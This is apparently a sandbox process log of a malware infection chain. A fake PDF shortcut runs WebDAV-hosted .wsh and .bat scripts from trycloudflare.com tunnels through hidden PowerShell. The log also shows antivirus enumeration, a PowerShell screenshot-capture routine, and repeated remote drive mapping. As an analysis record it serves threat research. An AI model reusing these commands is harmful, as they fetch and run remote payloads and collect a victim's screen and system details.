cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IZFDLWw" C:\Users\test22\AppData\Local\Temp\DKM-39902004.pdf.lnk
2548wscript.exe "C:\Windows\System32\WScript.exe" "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\32\DE.wsh"
2800cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat
2908cmd.exe C:\Windows\system32\cmd.exe /K \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat
2992powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat\" hidden' -WindowStyle Hidden"
1152cmd.exe "C:\Windows\system32\cmd.exe" /c "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat" hidden
2504iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2356 CREDAT:145409
676net.exe net use U: "\\divide-snow-pound-clip.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
3004powershell.exe powershell -Command "Expand-Archive -Path 'C:\Users\test22\Contacts\zone.zip' -DestinationPath 'C:\Users\test22\Contacts' -Force"
1780net.exe net use U: /delete /yes
3048cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat
2104cmd.exe C:\Windows\system32\cmd.exe /K \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat
2180powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/k \"\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat\" hidden' -WindowStyle Hidden"
2364cmd.exe "C:\Windows\system32\cmd.exe" /k "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat" hidden
2756powershell.exe powershell -Command "[System.Net.Dns]::GetHostName()"
2912cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName" 2>nul
2168powershell.exe powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
1308powershell.exe powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $screen = [System.Windows.Forms.Screen]::AllScreens[0]; $bitmap = New-Object Drawing.Bitmap $screen.Bounds.Width, $screen.Bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Bounds.Location, [System.Drawing.Point]::Empty, $screen.Bounds.Size); $bitmap.Save('C:\Users\test22\AppData\Local\Temp\test22-PC_screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png);"
148net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
2772net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
1332choice.exe choice /n /c y /t 0
2536net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
2380choice.exe choice /n /c y /t 0
2120net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
3032choice.exe choice /n /c y /t 0
2864net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
916choice.exe choice /n /c y /t 0
2000net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
416choice.exe choice /n /c y /t 0
3040net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
2896choice.exe choice /n /c y /t 0
1108net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
1304choice.exe choice /n /c y /t 0
1892net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
1996choice.exe choice /n /c y /t 0
2696net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
2360choice.exe choice /n /c y /t 0
2112net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
2844choice.exe choice /n /c y /t 0
2256net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
320choice.exe choice /n /c y /t 0
2828net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
3132choice.exe choice /n /c y /t 0
3268cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat
2196cmd.exe C:\Windows\system32\cmd.exe /K \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat
2516powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat\" hidden' -WindowStyle Hidden"
2452cmd.exe "C:\Windows\system32\cmd.exe" /c "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat" hidden
2176